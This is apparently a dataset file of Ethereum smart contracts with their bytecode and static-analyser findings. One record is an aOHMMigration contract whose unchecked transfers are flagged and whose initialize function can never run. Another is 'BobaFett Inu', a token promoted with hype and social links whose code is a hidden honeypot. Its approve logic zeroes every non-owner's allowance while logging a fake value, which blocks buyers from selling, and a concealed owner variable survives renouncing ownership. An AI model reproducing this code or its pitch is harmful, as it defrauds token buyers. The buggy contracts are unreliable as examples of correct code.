40902054600954610516916001600160a01b031690610d7d565b610543600a60019054906101000a90046001600160a01b0316600854600a61053e9190611783565b610d7d565b600954600b546000908152600d60209081526040808320546001600160a01b03168352600e9091528120805490919061057d908490611757565b9091555050600b8054906000610592836117f4565b9091555050600b546000908152600d6020526040908190205460095491516001600160a01b03909116917f8c32c568416fcf97be35ce5b27844cfddcd63a67a1a602c3595ba5dac38f303a916105e89190611740565b60405180910390a25b806105fb816117f4565b9150506104c6565b50600167016345785d8a0000348211610700576000610622823461180f565b905080156106425760405162461bcd60e51b81526004016104ba906115ba565b6001600f6000610650610e62565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610682823461176f565b925061068f836002611783565b925060015b8381116106f957600c80549060006106ab836117f4565b91905055506106b8610e62565b600c546000908152600d6020526040902080546001600160a01b0319166001600160a01b0392909216919091179055806106f1816117f4565b915050610694565b5050610779565b600560035461070f919061176f565b60045461071c91906117a2565b600354111561073d5760405162461bcd60e51b81526004016104ba9061155d565b33600090815260106020526040902054610e109061075b90426117a2565b10156107795760405162461bcd60e51b81526004016104ba9061140a565b600c8054906000610789836117f4565b9190505550610796610e62565b600c546000908152600d6020908152604080832080546001600160a01b0319166001600160a01b039590951694909417909355338252601090522042905550600192915050565b6060600580546107ec906117b9565b80601f0160208091040260200160405190810160405280929190818152602001828054610818906117b9565b80156108655780601f1061083a57610100808354040283529160200191610865565b820191906000526020600020905b81548152906001019060200180831161084857829003601f168201915b5050505050905090565b600061088361087c610e62565b8484610e66565b50600192915050565b60035490565b600a5461010090046001600160a01b031633146108c15760405162461bcd60e51b81526004016104ba9061147f565b600a5460ff161515600114156108e057600a805460ff191690556108ee565b600a805460ff191660011790555b565b60095481565b6000610903848484610f1a565b6109618461090f610e62565b6001600160a01b03871660009081526002602052604081208691610931610e62565b6001600160a01b03166001600160a01b031681526020019081526020016000205461095c91906117a2565b610e66565b5060019392505050565b600c5490565b60075460ff1690565b6000610883610987610e62565b848460026000610995610e62565b6001600160a01b03908116825260208083019390935260409182016000908120918b168152925290205461095c9190611757565b600a5461010090046001600160a01b031633146109f85760405162461bcd60e51b81526004016104ba9061147f565b610a00610e62565b6001600160a01b031647604051610a16906112db565b60006040518083038185875af1925050503d8060008114610a53576040519150601f19603f3d011682016040523d82523d6000602084013e610a58565b606091505b505050565b600b5490565b6001600160a01b0381166000908152600160205260409020545b919050565b60008160016000610a91610e62565b6001600160a01b03166001600160a01b031681526020019081526020016000206000828254610ac09190611757565b90915550610ad79050610ad1610e62565b8361100c565b506001919050565b6001600160a01b031660009081526020819052604090205490565b6001600160a01b03166000908152600f602052604090205460ff1690565b600a5461010090046001600160a01b031681565b600a5461010090046001600160a01b03163314610b5b5760405162461bcd60e51b81526004016104ba9061147f565b7f1cd543e9308fc1bf5d94084a470bde2da46267c4e592b136ab02207094717c0781604051610b8a9190611316565b60405180910390a150565b6060600680546107ec906117b9565b600a5460ff1681565b6000610883610bba610e62565b848460026000610bc8610e62565b6001600160a01b03908116825260208083019390935260409182016000908120918b168152925290205461095c91906117a2565b6000610883610c09610e62565b8484610f1a565b6001600160a01b03166000908152600e602052604090205490565b6040516370a0823160e01b81526000906001600160a01b038316906370a0823190610c5a9030906004016112de565b60206040518083038186803b158015610c7257600080fd5b505afa158015610c86573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610caa91906112c3565b600a5460405163a9059cbb60e01b81529192506001600160a01b038085169263a9059cbb92610ce592610100909104169085906004016112f2565b602060405180830381600087803b158015610cff57600080fd5b505af1158015610d13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a5891906111ea565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000908152600d60205260409020546001600160a01b031690565b6001600160a01b038216610da35760405162461bcd60e51b81526004016104ba906114c6565b60045481600354610db49190611757565b1115610dd25760405162461bcd60e51b81526004016104ba9061160e565b80600354610de09190611757565b6003556001600160a01b038216600090815260208190526040902054610e07908290611757565b6001600160a01b0383166000818152602081905260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e56908590611740565b60405180910390a35050565b3390565b6001600160a01b038316610e8c5760405162461bcd60e51b81526004016104ba906113b7565b6001600160a01b038216610eb25760405162461bcd60e51b81526004016104ba90611510565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610f0d908590611740565b60405180910390a3505050565b6001600160a01b038316610f405760405162461bcd60e51b81526004016104ba90611662565b6001600160a01b038216610f665760405162461bcd60e51b81526004016104ba90611369565b6001600160a01b038316600090815260208190526040902054610f8a9082906117a2565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610fba908290611757565b6001600160a01b0380841660008181526020819052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f0d908590611740565b6001600160a01b0382166110325760405162461bcd60e51b81526004016104ba906116b2565b6001600160a01b0382166000908152602081905260409020546110569082906117a2565b6001600160a01b03831660009081526020819052604090205560035461107d9082906117a2565b60035560045461108e9082906117a2565b6004556040516000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110cf908590611740565b60405180910390a3816001600160a01b03167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040516111109190611740565b60405180910390a25050565b80356001600160a01b0381168114610a7d57600080fd5b600060208284031215611144578081fd5b61114d8261111c565b9392505050565b60008060408385031215611166578081fd5b61116f8361111c565b915061117d6020840161111c565b90509250929050565b60008060006060848603121561119a578081fd5b6111a38461111c565b92506111b16020850161111c565b9150604084013590509250925092565b600080604083850312156111d3578182fd5b6111dc8361111c565b946020939093013593505050565b6000602082840312156111fb578081fd5b8151801515811461114d578182fd5b6000602080838503121561121c578182fd5b823567ffffffffffffffff80821115611233578384fd5b818501915085601f830112611246578384fd5b8135818111156112585761125861184f565b604051601f8201601f191681018501838111828210171561127b5761127b61184f565b6040528181528382018501881015611291578586fd5b818585018683013790810190930193909352509392505050565b6000602082840312156112bc578081fd5b5035919050565b6000602082840312156112d4578081fd5b5051919050565b90565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b901515815260200190565b6000602080835283518082850152825b8181101561134257858101830151858201604001528201611326565b818111156113535783604083870101525b50601f01601f1916929092016040019392505050565b6020808252602e908201527f41697264726f7054657374546f6b656e3a207472616e7366657220746f20746860408201526d65207a65726f206164647265737360901b606082015260800190565b60208082526033908201527f41697264726f7054657374546f6b656e524332303a20617070726f76652066726040820152726f6d20746865207a65726f206164647265737360681b606082015260800190565b6020808252604f908201527f41697264726f7054657374546f6b656e3a20596f752063616e206f6e6c79206760408201527f657420616e2041697264726f70206f6e636520616e20686f75722e20446f6e6160608201526e3a32903a379033b2ba1036b7b9329760891b608082015260a00190565b60208082526027908201527f41697264726f7054657374546f6b656e3a20596f75277265206e6f74207468656040820152661037bbb732b91760c91b606082015260800190565b6020808252602a908201527f41697264726f7054657374546f6b656e3a206d696e7420746f20746865207a65604082015269726f206164647265737360b01b606082015260800190565b6020808252602d908201527f41697264726f7054657374546f6b656e3a20617070726f766520746f2074686560408201526c207a65726f206164647265737360981b606082015260800190565b6020808252603d908201527f41697264726f7054657374546f6b656e3a204c61737420352520737570706c7960408201527f20726573657276656420666f7220646f6e6174696e672075736572732e000000606082015260800190565b60208082526034908201527f41697264726f7054657374546f6b656e3a20506c656173652073656e64204554604082015273241037b7363c9034b7101817189039ba32b8399760611b606082015260800190565b60208082526034908201527f41697264726f7054657374546f6b656e3a20416d6f756e7420746f206d696e746040820152731032bc31b2b2b2399036b0bc1039bab838363c9760611b606082015260800190565b60208082526030908201527f41697264726f7054657374546f6b656e3a207472616e736665722066726f6d2060408201526f746865207a65726f206164647265737360801b606082015260800190565b6020808252602c908201527f41697264726f7054657374546f6b656e3a206275726e2066726f6d207468652060408201526b7a65726f206164647265737360a01b606082015260800190565b60208082526022908201527f41697264726f7054657374546f6b656e3a2041697264726f70206973206f7665604082015261391760f11b606082015260800190565b90815260200190565b60ff91909116815260200190565b6000821982111561176a5761176a611823565b500190565b60008261177e5761177e611839565b500490565b600081600019048311821515161561179d5761179d611823565b500290565b6000828210156117b4576117b4611823565b500390565b6002810460018216806117cd57607f821691505b602082108114156117ee57634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561180857611808611823565b5060010190565b60008261181e5761181e611839565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fdfea2646970667358221220adefdd799da343bc2958259f37fbdd0f6babcb1b4a2ed577799193ba2f3fd38164736f6c63430008000033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium"}]}}
| 7,878 |
0xf31b987e4be1b1e55bdb244db3bbcff9397dd23c
|
// SPDX-License-Identifier: MIT
pragma solidity 0.7.5;
interface IOwnable {
function owner() external view returns (address);
function renounceOwnership() external;
function transferOwnership( address newOwner_ ) external;
}
contract Ownable is IOwnable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
_owner = msg.sender;
emit OwnershipTransferred( address(0), _owner );
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view override returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require( _owner == msg.sender, "Ownable: caller is not the owner" );
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual override onlyOwner() {
emit OwnershipTransferred( _owner, address(0) );
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership( address newOwner_ ) public virtual override onlyOwner() {
require( newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred( _owner, newOwner_ );
_owner = newOwner_;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add( div( a, 2), 1 );
while (b < c) {
c = b;
b = div( add( div( a, b ), b), 2 );
}
} else if (a != 0) {
c = 1;
}
}
/*
* Expects percentage to be trailed by 00,
*/
function percentageAmount( uint256 total_, uint8 percentage_ ) internal pure returns ( uint256 percentAmount_ ) {
return div( mul( total_, percentage_ ), 1000 );
}
/*
* Expects percentage to be trailed by 00,
*/
function substractPercentage( uint256 total_, uint8 percentageToSub_ ) internal pure returns ( uint256 result_ ) {
return sub( total_, div( mul( total_, percentageToSub_ ), 1000 ) );
}
function percentageOfTotal( uint256 part_, uint256 total_ ) internal pure returns ( uint256 percent_ ) {
return div( mul(part_, 100) , total_ );
}
/**
* Taken from Hypersonic https://github.com/M2629/HyperSonic/blob/main/Math.sol
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing( uint256 payment_, uint256 multiplier_ ) internal pure returns (uint256) {
return sqrrt( mul( multiplier_, payment_ ) );
}
function bondingCurve( uint256 supply_, uint256 multiplier_ ) internal pure returns (uint256) {
return mul( multiplier_, supply_ );
}
}
contract aOHMMigration is Ownable {
using SafeMath for uint256;
uint256 swapEndBlock;
IERC20 public OHM;
IERC20 public aOHM;
bool public isInitialized;
mapping(address => uint256) public senderInfo;
modifier onlyInitialized() {
require(isInitialized, "not initialized");
_;
}
function initialize (
address _OHM,
address _aOHM,
uint256 _swapDuration
) public onlyInitialized() {
OHM = IERC20(_OHM);
aOHM = IERC20(_aOHM);
swapEndBlock = block.number.add(_swapDuration);
isInitialized = true;
}
function migrate(uint256 amount) external onlyInitialized() {
require(
aOHM.balanceOf(msg.sender) >= amount,
"amount above user balance"
);
require(block.number < swapEndBlock, "swapping of aOHM has ended");
aOHM.transferFrom(msg.sender, address(this), amount);
senderInfo[msg.sender] = senderInfo[msg.sender].add(amount);
OHM.transfer(msg.sender, amount);
}
function reclaim() external {
require(senderInfo[msg.sender] > 0, "user has no aOHM to withdraw");
require(
block.number > swapEndBlock,
"aOHM swap is still ongoing"
);
uint256 amount = senderInfo[msg.sender];
senderInfo[msg.sender] = 0;
aOHM.transfer(msg.sender, amount);
}
function withdraw() external onlyOwner() {
require(block.number > swapEndBlock, "swapping of aOHM has not ended");
uint256 amount = OHM.balanceOf(address(this));
OHM.transfer(msg.sender, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806380e9071b1161007157806380e9071b1461012f578063831f4df1146101375780638da5cb5b1461015b578063a6c41fec14610163578063a6dd4c661461016b578063f2fde38b146101a3576100a9565b80631794bb3c146100ae578063392e53cd146100e65780633ccfd60b14610102578063454b06081461010a578063715018a614610127575b600080fd5b6100e4600480360360608110156100c457600080fd5b506001600160a01b038135811691602081013590911690604001356101c9565b005b6100ee61026e565b604080519115158252519081900360200190f35b6100e461027e565b6100e46004803603602081101561012057600080fd5b5035610430565b6100e46106a7565b6100e4610750565b61013f61086f565b604080516001600160a01b039092168252519081900360200190f35b61013f61087e565b61013f61088d565b6101916004803603602081101561018157600080fd5b50356001600160a01b031661089c565b60408051918252519081900360200190f35b6100e4600480360360208110156101b957600080fd5b50356001600160a01b03166108ae565b600354600160a01b900460ff16610219576040805162461bcd60e51b815260206004820152600f60248201526e1b9bdd081a5b9a5d1a585b1a5e9959608a1b604482015290519081900360640190fd5b600280546001600160a01b038086166001600160a01b031992831617909255600380549285169290911691909117905561025343826109ad565b60015550506003805460ff60a01b1916600160a01b17905550565b600354600160a01b900460ff1681565b6000546001600160a01b031633146102dd576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001544311610333576040805162461bcd60e51b815260206004820152601e60248201527f7377617070696e67206f6620614f484d20686173206e6f7420656e6465640000604482015290519081900360640190fd5b600254604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561037e57600080fd5b505afa158015610392573d6000803e3d6000fd5b505050506040513d60208110156103a857600080fd5b50516002546040805163a9059cbb60e01b81523360048201526024810184905290519293506001600160a01b039091169163a9059cbb916044808201926020929091908290030181600087803b15801561040157600080fd5b505af1158015610415573d6000803e3d6000fd5b505050506040513d602081101561042b57600080fd5b505050565b600354600160a01b900460ff16610480576040805162461bcd60e51b815260206004820152600f60248201526e1b9bdd081a5b9a5d1a585b1a5e9959608a1b604482015290519081900360640190fd5b600354604080516370a0823160e01b8152336004820152905183926001600160a01b0316916370a08231916024808301926020929190829003018186803b1580156104ca57600080fd5b505afa1580156104de573d6000803e3d6000fd5b505050506040513d60208110156104f457600080fd5b50511015610549576040805162461bcd60e51b815260206004820152601960248201527f616d6f756e742061626f766520757365722062616c616e636500000000000000604482015290519081900360640190fd5b600154431061059f576040805162461bcd60e51b815260206004820152601a60248201527f7377617070696e67206f6620614f484d2068617320656e646564000000000000604482015290519081900360640190fd5b600354604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b1580156105f957600080fd5b505af115801561060d573d6000803e3d6000fd5b505050506040513d602081101561062357600080fd5b50503360009081526004602052604090205461063f90826109ad565b33600081815260046020818152604080842095909555600254855163a9059cbb60e01b8152928301949094526024820186905293516001600160a01b039093169363a9059cbb9360448084019492939192918390030190829087803b15801561040157600080fd5b6000546001600160a01b03163314610706576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b336000908152600460205260409020546107b1576040805162461bcd60e51b815260206004820152601c60248201527f7573657220686173206e6f20614f484d20746f20776974686472617700000000604482015290519081900360640190fd5b6001544311610807576040805162461bcd60e51b815260206004820152601a60248201527f614f484d2073776170206973207374696c6c206f6e676f696e67000000000000604482015290519081900360640190fd5b336000818152600460208181526040808420805490859055600354825163a9059cbb60e01b81529485019690965260248401819052905190946001600160a01b03169363a9059cbb936044808201949392918390030190829087803b15801561040157600080fd5b6003546001600160a01b031681565b6000546001600160a01b031690565b6002546001600160a01b031681565b60046020526000908152604090205481565b6000546001600160a01b0316331461090d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166109525760405162461bcd60e51b8152600401808060200182810382526026815260200180610a0f6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600082820183811015610a07576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a26469706673582212208c38455082636711b8cf7f84cd088eb2fc84bbddca01b1f977b26e6b8f19b32264736f6c63430007050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 7,879 |
0x9ea0f73f6949ebed23b6df61edee839b317b9afe
|
/*
BobaFett Inu is a token inspired by the legendary BobaFett.
$FETT is here to BREAK the Cryptosphere by introducing a virtual
metaverse game where people can play, earn, and own digitial assets across the universe inside BobaVerse.
-PLANNED CEX LISTINGS
-EXPERIENCED MARKETERS
-HUGE MARKETING CAMPAIGN COMING UP
-ANTI BOT
-NO PRESALES/TEAM TOKENS
TOKENOMICS
-BobaVerse and Marketing| 6%
-Reflections to HODLers| 6%
-Liqiduity to hold the floor | 3%
Careful where you ape! DYOR! Don’t know team but hearing good things here Saiyans.
Telegram : https://t.me/+Ktd4cg4WuKpmYjIx
Twitter : https://twitter.com/BobafettInu
Website : Bobafett.app
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract BobaFettInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000* 10**6* 10**18;
string private _name = 'BobaFett Inu ' ;
string private _symbol = 'FETT ' ;
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
